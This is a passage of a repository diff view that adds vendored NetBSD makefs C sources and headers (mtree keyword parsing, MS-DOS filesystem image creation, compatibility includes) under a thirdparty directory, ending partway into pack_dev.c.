timersub(&end, &(x), &td); \
printf("%s took %lld.%06ld seconds\n", \
(d), (long long)td.tv_sec, \
(long)td.tv_usec); \
}
#ifndef DEFAULT_FSTYPE
#define DEFAULT_FSTYPE "udf"
#endif
/*
* ffs specific settings
* ---------------------
*/
#define FFS_EI /* for opposite endian support in ffs headers */
#endif /* _MAKEFS_H */

326
thirdparty/makefs/misc.c vendored Normal file
View File

@@ -0,0 +1,326 @@
/* $NetBSD: misc.c,v 1.3 2008/11/06 02:14:52 jschauma Exp $ */
/*-
* Copyright (c) 1991, 1993
* The Regents of the University of California. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. Neither the name of the University nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
* @(#)misc.c 8.1 (Berkeley) 6/6/93
*/
#if HAVE_CONFIG_H
#include "config.h"
#endif
#if HAVE_NBTOOL_CONFIG_H
#include "nbtool_config.h"
#endif
// #include <nbcompat.h>
#if HAVE_SYS_CDEFS_H
#include <sys/cdefs.h>
#endif
#if defined(__RCSID) && !defined(lint)
__RCSID("$NetBSD: misc.c,v 1.3 2008/11/06 02:14:52 jschauma Exp $");
#endif /* not lint */
#if HAVE_SYS_TYPES_H
#include <sys/types.h>
#endif
#if HAVE_SYS_STAT_H
#include <sys/stat.h>
#endif
#if HAVE_STDARG_H
#include <stdarg.h>
#endif
#if HAVE_STDIO_H
#include <stdio.h>
#endif
#if HAVE_STDLIB_H
#include <stdlib.h>
#endif
#if HAVE_STRING_H
#include <string.h>
#endif
#include "extern.h"
typedef struct _key {
const char *name; /* key name */
u_int val; /* value */
#define NEEDVALUE 0x01
u_int flags;
} KEY;
#if 1
/* NB: the following tables must be sorted lexically. */
static KEY keylist[] = {
{"cksum", F_CKSUM, NEEDVALUE},
{"device", F_DEV, NEEDVALUE},
{"flags", F_FLAGS, NEEDVALUE},
{"gid", F_GID, NEEDVALUE},
{"gname", F_GNAME, NEEDVALUE},
{"ignore", F_IGN, 0},
{"link", F_SLINK, NEEDVALUE},
{"md5", F_MD5, NEEDVALUE},
{"md5digest", F_MD5, NEEDVALUE},
{"mode", F_MODE, NEEDVALUE},
{"nlink", F_NLINK, NEEDVALUE},
{"optional", F_OPT, 0},
{"rmd160", F_RMD160, NEEDVALUE},
{"rmd160digest",F_RMD160, NEEDVALUE},
{"sha1", F_SHA1, NEEDVALUE},
{"sha1digest", F_SHA1, NEEDVALUE},
{"sha256", F_SHA256, NEEDVALUE},
{"sha256digest",F_SHA256, NEEDVALUE},
{"sha384", F_SHA384, NEEDVALUE},
{"sha384digest",F_SHA384, NEEDVALUE},
{"sha512", F_SHA512, NEEDVALUE},
{"sha512digest",F_SHA512, NEEDVALUE},
{"size", F_SIZE, NEEDVALUE},
{"tags", F_TAGS, NEEDVALUE},
{"time", F_TIME, NEEDVALUE},
{"type", F_TYPE, NEEDVALUE},
{"uid", F_UID, NEEDVALUE},
{"uname", F_UNAME, NEEDVALUE}
};
#endif
static KEY typelist[] = {
{"block", F_BLOCK, 0},
{"char", F_CHAR, 0},
{"dir", F_DIR, 0},
#ifdef S_IFDOOR
{"door", F_DOOR, 0},
#endif
{"fifo", F_FIFO, 0},
{"file", F_FILE, 0},
{"link", F_LINK, 0},
{"socket", F_SOCK, 0},
};
slist_t excludetags, includetags;
int keys = KEYDEFAULT;
int keycompare(const void *, const void *);
u_int
parsekey(const char *name, int *needvaluep)
{
static int allbits;
KEY *k, tmp;
if (allbits == 0) {
int i;
for (i = 0; i < sizeof(keylist) / sizeof(KEY); i++)
allbits |= keylist[i].val;
}
tmp.name = name;
if (strcmp(name, "all") == 0)
return (allbits);
k = (KEY *)bsearch(&tmp, keylist, sizeof(keylist) / sizeof(KEY),
sizeof(KEY), keycompare);
if (k == NULL)
mtree_err("unknown keyword `%s'", name);
if (needvaluep)
*needvaluep = k->flags & NEEDVALUE ? 1 : 0;
return (k->val);
}
u_int
parsetype(const char *name)
{
KEY *k, tmp;
tmp.name = name;
k = (KEY *)bsearch(&tmp, typelist, sizeof(typelist) / sizeof(KEY),
sizeof(KEY), keycompare);
if (k == NULL)
mtree_err("unknown file type `%s'", name);
return (k->val);
}
int
keycompare(const void *a, const void *b)
{
return (strcmp(((const KEY *)a)->name, ((const KEY *)b)->name));
}
void
mtree_err(const char *fmt, ...)
{
va_list ap;
va_start(ap, fmt);
vwarnx(fmt, ap);
va_end(ap);
if (mtree_lineno)
warnx("failed at line %lu of the specification",
(u_long) mtree_lineno);
exit(1);
/* NOTREACHED */
}
void
addtag(slist_t *list, char *elem)
{
#define TAG_CHUNK 20
if ((list->count % TAG_CHUNK) == 0) {
char **new;
new = (char **)realloc(list->list, (list->count + TAG_CHUNK)
* sizeof(char *));
if (new == NULL)
mtree_err("memory allocation error");
list->list = new;
}
list->list[list->count] = elem;
list->count++;
}
void
parsetags(slist_t *list, char *args)
{
char *p, *e;
int len;
if (args == NULL) {
addtag(list, NULL);
return;
}
while ((p = strsep(&args, ",")) != NULL) {
if (*p == '\0')
continue;
len = strlen(p) + 3; /* "," + p + ",\0" */
if ((e = malloc(len)) == NULL)
mtree_err("memory allocation error");
snprintf(e, len, ",%s,", p);
addtag(list, e);
}
}
/*
* matchtags
* returns 0 if there's a match from the exclude list in the node's tags,
* or there's an include list and no match.
* return 1 otherwise.
*/
int
matchtags(NODE *node)
{
int i;
if (node->tags) {
for (i = 0; i < excludetags.count; i++)
if (strstr(node->tags, excludetags.list[i]))
break;
if (i < excludetags.count)
return (0);
for (i = 0; i < includetags.count; i++)
if (strstr(node->tags, includetags.list[i]))
break;
if (i > 0 && i == includetags.count)
return (0);
} else if (includetags.count > 0) {
return (0);
}
return (1);
}
u_int
nodetoino(u_int type)
{
switch (type) {
case F_BLOCK:
return S_IFBLK;
case F_CHAR:
return S_IFCHR;
case F_DIR:
return S_IFDIR;
case F_FIFO:
return S_IFIFO;
case F_FILE:
return S_IFREG;
case F_LINK:
return S_IFLNK;
#ifdef S_IFSOCK
case F_SOCK:
return S_IFSOCK;
#endif
default:
printf("unknown type %d", type);
abort();
}
/* NOTREACHED */
}
const char *
nodetype(u_int type)
{
return (inotype(nodetoino(type)));
}
const char *
inotype(u_int type)
{
switch (type & S_IFMT) {
case S_IFBLK:
return ("block");
case S_IFCHR:
return ("char");
case S_IFDIR:
return ("dir");
case S_IFIFO:
return ("fifo");
case S_IFREG:
return ("file");
case S_IFLNK:
return ("link");
#ifdef S_IFSOCK
case S_IFSOCK:
return ("socket");
#endif
#ifdef S_IFDOOR
case S_IFDOOR:
return ("door");
#endif
default:
return ("unknown");
}
/* NOTREACHED */
}

254
thirdparty/makefs/msdos.c vendored Normal file
View File

@@ -0,0 +1,254 @@
/* $NetBSD: msdos.c,v 1.15 2015/10/16 16:40:02 christos Exp $ */
/*-
* Copyright (c) 2013 The NetBSD Foundation, Inc.
* All rights reserved.
*
* This code is derived from software contributed to The NetBSD Foundation
* by Christos Zoulas.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE NETBSD FOUNDATION, INC. AND CONTRIBUTORS
* ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS
* BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
#if HAVE_NBTOOL_CONFIG_H
#include "nbtool_config.h"
#endif
#include <sys/cdefs.h>
#if defined(__RCSID) && !defined(__lint)
__RCSID("$NetBSD: msdos.c,v 1.15 2015/10/16 16:40:02 christos Exp $");
#endif /* !__lint */
#include <sys/param.h>
#if !HAVE_NBTOOL_CONFIG_H
#include <sys/mount.h>
#endif
#include <assert.h>
#include <errno.h>
#include <fcntl.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <util.h>
#include <ffs/buf.h>
#include <fs/msdosfs/denode.h>
#include "makefs.h"
#include "msdos.h"
#include "mkfs_msdos.h"
static int msdos_populate_dir(const char *, struct denode *, fsnode *,
fsnode *, fsinfo_t *);
void
msdos_prep_opts(fsinfo_t *fsopts)
{
struct msdos_options *msdos_opt = ecalloc(1, sizeof(*msdos_opt));
const option_t msdos_options[] = {
#define AOPT(_opt, _type, _name, _min, _desc) { \
.letter = _opt, \
.name = # _name, \
.type = _min == -1 ? OPT_STRPTR : \
(_min == -2 ? OPT_BOOL : \
(sizeof(_type) == 1 ? OPT_INT8 : \
(sizeof(_type) == 2 ? OPT_INT16 : \
(sizeof(_type) == 4 ? OPT_INT32 : OPT_INT64)))), \
.value = &msdos_opt->_name, \
.minimum = _min, \
.maximum = sizeof(_type) == 1 ? 0xff : \
(sizeof(_type) == 2 ? 0xffff : \
(sizeof(_type) == 4 ? 0xffffffff : 0xffffffffffffffffLL)), \
.desc = _desc, \
},
ALLOPTS
#undef AOPT
{ .name = NULL }
};
fsopts->fs_specific = msdos_opt;
fsopts->fs_options = copy_opts(msdos_options);
}
void
msdos_cleanup_opts(fsinfo_t *fsopts)
{
free(fsopts->fs_specific);
free(fsopts->fs_options);
}
int
msdos_parse_opts(const char *option, fsinfo_t *fsopts)
{
struct msdos_options *msdos_opt = fsopts->fs_specific;
option_t *msdos_options = fsopts->fs_options;
int rv;
assert(option != NULL);
assert(fsopts != NULL);
assert(msdos_opt != NULL);
if (debug & DEBUG_FS_PARSE_OPTS)
printf("msdos_parse_opts: got `%s'\n", option);
rv = set_option(msdos_options, option, NULL, 0);
if (rv == -1)
return rv;
if (strcmp(msdos_options[rv].name, "volume_id") == 0)
msdos_opt->volume_id_set = 1;
else if (strcmp(msdos_options[rv].name, "media_descriptor") == 0)
msdos_opt->media_descriptor_set = 1;
else if (strcmp(msdos_options[rv].name, "hidden_sectors") == 0)
msdos_opt->hidden_sectors_set = 1;
return 1;
}
void
msdos_makefs(const char *image, const char *dir, fsnode *root, fsinfo_t *fsopts)
{
struct msdos_options *msdos_opt = fsopts->fs_specific;
struct vnode vp, rootvp;
struct timeval start;
struct msdosfsmount *pmp;
assert(image != NULL);
assert(dir != NULL);
assert(root != NULL);
assert(fsopts != NULL);
/*
* XXX: pick up other options from the msdos specific ones?
* Is minsize right here?
*/
msdos_opt->create_size = MAX(msdos_opt->create_size, fsopts->minsize);
msdos_opt->offset = fsopts->offset;
if (msdos_opt->bytes_per_sector == 0) {
if (fsopts->sectorsize == -1)
fsopts->sectorsize = 512;
msdos_opt->bytes_per_sector = fsopts->sectorsize;
} else if (fsopts->sectorsize == -1) {
fsopts->sectorsize = msdos_opt->bytes_per_sector;
} else if (fsopts->sectorsize != msdos_opt->bytes_per_sector) {
err(1, "inconsistent sectorsize -S %u"
"!= -o bytes_per_sector %u",
fsopts->sectorsize, msdos_opt->bytes_per_sector);
}
/* create image */
printf("Creating `%s'\n", image);
TIMER_START(start);
if (mkfs_msdos(image, NULL, msdos_opt) == -1)
return;
TIMER_RESULTS(start, "mkfs_msdos");
fsopts->fd = open(image, O_RDWR);
vp.fs = fsopts;
if ((pmp = msdosfs_mount(&vp, 0)) == NULL)
err(1, "msdosfs_mount");
if (msdosfs_root(pmp, &rootvp) != 0)
err(1, "msdosfs_root");
if (debug & DEBUG_FS_MAKEFS)
printf("msdos_makefs: image %s directory %s root %p\n",
image, dir, root);
/* populate image */
printf("Populating `%s'\n", image);
TIMER_START(start);
if (msdos_populate_dir(dir, VTODE(&rootvp), root, root, fsopts) == -1)
errx(1, "Image file `%s' not created.", image);
TIMER_RESULTS(start, "msdos_populate_dir");
if (debug & DEBUG_FS_MAKEFS)
putchar('\n');
/* ensure no outstanding buffers remain */
if (debug & DEBUG_FS_MAKEFS)
bcleanup();
printf("Image `%s' complete\n", image);
}
static int
msdos_populate_dir(const char *path, struct denode *dir, fsnode *root,
fsnode *parent, fsinfo_t *fsopts)
{
fsnode *cur;
char pbuf[MAXPATHLEN];
assert(dir != NULL);
assert(root != NULL);
assert(fsopts != NULL);
for (cur = root->next; cur != NULL; cur = cur->next) {
if ((size_t)snprintf(pbuf, sizeof(pbuf), "%s/%s", path,
cur->name) >= sizeof(pbuf)) {
warnx("path %s too long", pbuf);
return -1;
}
if ((cur->inode->flags & FI_ALLOCATED) == 0) {
cur->inode->flags |= FI_ALLOCATED;
if (cur != root) {
fsopts->curinode++;
cur->inode->ino = fsopts->curinode;
cur->parent = parent;
}
}
if (cur->inode->flags & FI_WRITTEN) {
continue; // hard link
}
cur->inode->flags |= FI_WRITTEN;
if (cur->child) {
struct denode *de;
if ((de = msdosfs_mkdire(pbuf, dir, cur)) == NULL) {
warn("msdosfs_mkdire %s", pbuf);
return -1;
}
if (msdos_populate_dir(pbuf, de, cur->child, cur,
fsopts) == -1) {
warn("msdos_populate_dir %s", pbuf);
return -1;
}
continue;
} else if (!S_ISREG(cur->type)) {
warnx("skipping non-regular file %s/%s", cur->path,
cur->name);
continue;
}
if (msdosfs_mkfile(pbuf, dir, cur) == NULL) {
warn("msdosfs_mkfile %s", pbuf);
return -1;
}
}
return 0;
}

39
thirdparty/makefs/msdos.h vendored Normal file
View File

@@ -0,0 +1,39 @@
/* $NetBSD: msdos.h,v 1.3 2015/10/16 16:40:02 christos Exp $ */
/*-
* Copyright (c) 2013 The NetBSD Foundation, Inc.
* All rights reserved.
*
* This code is derived from software contributed to The NetBSD Foundation
* by Christos Zoulas.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE NETBSD FOUNDATION, INC. AND CONTRIBUTORS
* ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS
* BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
struct vnode;
struct denode;
struct msdosfsmount *msdosfs_mount(struct vnode *, int);
int msdosfs_root(struct msdosfsmount *, struct vnode *);
struct denode *msdosfs_mkfile(const char *, struct denode *, fsnode *);
struct denode *msdosfs_mkdire(const char *, struct denode *, fsnode *);

140
thirdparty/makefs/mtree.h vendored Normal file
View File

@@ -0,0 +1,140 @@
/* $NetBSD: mtree.h,v 1.3 2008/11/06 02:14:52 jschauma Exp $ */
/*-
* Copyright (c) 1990, 1993
* The Regents of the University of California. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. Neither the name of the University nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
* @(#)mtree.h 8.1 (Berkeley) 6/6/93
*/
#ifndef _MTREE_H_
#define _MTREE_H_
#define KEYDEFAULT (F_GID | F_MODE | F_NLINK | F_SIZE | F_SLINK | \
F_TIME | F_TYPE | F_UID | F_FLAGS)
#define MISMATCHEXIT 2
/* Max. length of hash -- update this if needed when adding a new algorithm. */
#define MAXHASHLEN 128 /* SHA512 */
typedef struct _node {
struct _node *parent, *child; /* up, down */
struct _node *prev, *next; /* left, right */
off_t st_size; /* size */
struct timespec st_mtimespec; /* last modification time */
char *slink; /* symbolic link reference */
uid_t st_uid; /* uid */
gid_t st_gid; /* gid */
#define MBITS (S_ISUID|S_ISGID|S_ISTXT|S_IRWXU|S_IRWXG|S_IRWXO)
mode_t st_mode; /* mode */
dev_t st_rdev; /* device type */
u_long st_flags; /* flags */
nlink_t st_nlink; /* link count */
u_long cksum; /* check sum */
char *md5digest; /* MD5 digest */
char *rmd160digest; /* RMD-160 digest */
char *sha1digest; /* SHA1 digest */
char *sha256digest; /* SHA256 digest */
char *sha384digest; /* SHA384 digest */
char *sha512digest; /* SHA512 digest */
char *tags; /* tags, comma delimited */
size_t lineno; /* line # entry came from */
#define F_CKSUM 0x00000001 /* cksum(1) check sum */
#define F_DEV 0x00000002 /* device type */
#define F_DONE 0x00000004 /* directory done */
#define F_FLAGS 0x00000008 /* file flags */
#define F_GID 0x00000010 /* gid */
#define F_GNAME 0x00000020 /* group name */
#define F_IGN 0x00000040 /* ignore */
#define F_MAGIC 0x00000080 /* name has magic chars */
#define F_MD5 0x00000100 /* MD5 digest */
#define F_MODE 0x00000200 /* mode */
#define F_NLINK 0x00000400 /* number of links */
#define F_OPT 0x00000800 /* existence optional */
#define F_RMD160 0x00001000 /* RMD-160 digest */
#define F_SHA1 0x00002000 /* SHA1 digest */
#define F_SIZE 0x00004000 /* size */
#define F_SLINK 0x00008000 /* symbolic link */
#define F_TAGS 0x00010000 /* tags */
#define F_TIME 0x00020000 /* modification time */
#define F_TYPE 0x00040000 /* file type */
#define F_UID 0x00080000 /* uid */
#define F_UNAME 0x00100000 /* user name */
#define F_VISIT 0x00200000 /* file visited */
#define F_SHA256 0x00800000 /* SHA256 digest */
#define F_SHA384 0x01000000 /* SHA384 digest */
#define F_SHA512 0x02000000 /* SHA512 digest */
int flags; /* items set */
#define F_BLOCK 0x001 /* block special */
#define F_CHAR 0x002 /* char special */
#define F_DIR 0x004 /* directory */
#define F_FIFO 0x008 /* fifo */
#define F_FILE 0x010 /* regular file */
#define F_LINK 0x020 /* symbolic link */
#define F_SOCK 0x040 /* socket */
#define F_DOOR 0x080 /* door */
int type; /* file type */
char name[1]; /* file name (must be last) */
} NODE;
typedef struct {
char **list;
int count;
} slist_t;
/*
* prototypes for functions published to other programs which want to use
* the specfile parser but don't want to pull in all of "extern.h"
*/
const char *inotype(u_int);
u_int nodetoino(u_int);
int setup_getid(const char *);
NODE *spec(FILE *);
void free_nodes(NODE *);
char *vispath(const char *);
#define RP(p) \
((p)->fts_path[0] == '.' && (p)->fts_path[1] == '/' ? \
(p)->fts_path + 2 : (p)->fts_path)
#define UF_MASK ((UF_NODUMP | UF_IMMUTABLE | \
UF_APPEND | UF_OPAQUE) \
& UF_SETTABLE) /* user settable flags */
#define SF_MASK ((SF_ARCHIVED | SF_IMMUTABLE | \
SF_APPEND) & SF_SETTABLE) /* root settable flags */
#define CH_MASK (UF_MASK | SF_MASK) /* all settable flags */
#define SP_FLGS (SF_IMMUTABLE | SF_APPEND) /* special flags */
#endif /* _MTREE_H_ */

134
thirdparty/makefs/nbcompat.h vendored Normal file
View File

@@ -0,0 +1,134 @@
/* $NetBSD: nbcompat.h,v 1.43 2009/04/13 11:30:46 joerg Exp $ */
/*-
* Copyright (c) 2003 The NetBSD Foundation, Inc.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE NETBSD FOUNDATION, INC. AND CONTRIBUTORS
* ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS
* BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
#include <nbcompat/nbconfig.h>
#include <nbcompat/cdefs.h>
#include <nbcompat/types.h>
#include <nbcompat/limits.h>
#include <nbcompat/endian.h>
#include <nbcompat/param.h>
#if HAVE_ERRNO_H
#include <errno.h>
#endif
#if HAVE_STDARG_H
#include <stdarg.h>
#endif
#if HAVE_STDDEF_H
#include <stddef.h>
#endif
#include <nbcompat/assert.h>
#include <nbcompat/ctype.h>
#include <nbcompat/dirent.h>
#include <nbcompat/err.h>
#include <nbcompat/fnmatch.h>
#include <nbcompat/grp.h>
#include <nbcompat/paths.h>
#include <nbcompat/pwd.h>
#include <nbcompat/queue.h>
#include <nbcompat/stat.h>
#include <nbcompat/statvfs.h>
#include <nbcompat/stdlib.h>
#include <nbcompat/stdio.h>
#include <nbcompat/string.h>
#include <nbcompat/termcap.h>
#include <nbcompat/time.h>
#include <nbcompat/tzfile.h>
#include <nbcompat/unistd.h>
#include <nbcompat/util.h>
#if HAVE_NBCOMPAT_POLL
# if HAVE_POLL_H
# undef HAVE_POLL_H
# endif
# if HAVE_SYS_POLL_H
# undef HAVE_SYS_POLL_H
# endif
# include <nbcompat/poll.h>
#endif
#if HAVE_NBCOMPAT_FTS
# if HAVE_FTS_H
# undef HAVE_FTS_H
# endif
# include <nbcompat/fts.h>
#endif
#if HAVE_NBCOMPAT_GLOB
# if HAVE_GLOB_H
# undef HAVE_GLOB_H
# endif
# include <nbcompat/glob.h>
#endif
#if HAVE_NBCOMPAT_REGEX
# if HAVE_REGEX_H
# undef HAVE_REGEX_H
# endif
# include <nbcompat/regex.h>
#endif
#if HAVE_NBCOMPAT_MD5INIT
# if HAVE_MD5_H
# undef HAVE_MD5_H
# endif
#endif
#if HAVE_NBCOMPAT_MD5
# if HAVE_MD5_H
# undef HAVE_MD5_H
# endif
#endif
#if HAVE_NBCOMPAT_RMD160
# if HAVE_RMD160_H
# undef HAVE_RMD160_H
# endif
#endif
#if HAVE_NBCOMPAT_SHA1
# if HAVE_SHA1_H
# undef HAVE_SHA1_H
# endif
#endif
#if HAVE_NBCOMPAT_VIS
# if HAVE_VIS_H
# undef HAVE_VIS_H
# endif
# include <nbcompat/vis.h>
#endif
#if !HAVE_GETOPT_H || !HAVE_STRUCT_OPTION
# undef HAVE_GETOPT_H
# include <nbcompat/getopt.h>
#endif

317
thirdparty/makefs/pack_dev.c vendored Normal file
View File

@@ -0,0 +1,317 @@
/* $NetBSD: pack_dev.c,v 1.5 2008/11/06 02:14:52 jschauma Exp $ */
/*-
* Copyright (c) 1998, 2001 The NetBSD Foundation, Inc.
* All rights reserved.
*
* This code is derived from software contributed to The NetBSD Foundation
* by Charles M. Hannum.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. All advertising materials mentioning features or use of this software
* must display the following acknowledgement:
* This product includes software developed by the NetBSD
* Foundation, Inc. and its contributors.
* 4. Neither the name of The NetBSD Foundation nor the names of its
* contributors may be used to endorse or promote products derived
* from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE NETBSD FOUNDATION, INC. AND CONTRIBUTORS
* ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS
* BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
#if HAVE_CONFIG_H
#include "config.h"
#endif
#if HAVE_NBTOOL_CONFIG_H
#include "nbtool_config.h"
#endif
#include <nbcompat.h>
#if HAVE_SYS_CDEFS_H
#include <sys/cdefs.h>
#endif
#if !defined(lint)
__RCSID("$NetBSD: pack_dev.c,v 1.5 2008/11/06 02:14:52 jschauma Exp $");
#endif /* not lint */
#if HAVE_SYS_TYPES_H
#include <sys/types.h>
#endif
#if HAVE_SYS_STAT_H
#include <sys/stat.h>
#endif
#if HAVE_LIMITS_H
#include <limits.h>
#endif
#if HAVE_STDIO_H
#include <stdio.h>
#endif
#if HAVE_STDLIB_H
#include <stdlib.h>
#endif
#if HAVE_STRING_H
#include <string.h>
#endif
#if HAVE_UNISTD_H
#include <unistd.h>
#endif
#include "pack_dev.h"
static pack_t pack_netbsd;
static pack_t pack_freebsd;
static pack_t pack_8_8;
static pack_t pack_12_20;
static pack_t pack_14_18;
static pack_t pack_8_24;
static pack_t pack_bsdos;
static int compare_format(const void *, const void *);
static const char iMajorError[] = "invalid major number";
static const char iMinorError[] = "invalid minor number";
static const char tooManyFields[] = "too many fields for format";
/* exported */
portdev_t
pack_native(int n, u_long numbers[], const char **error)
{
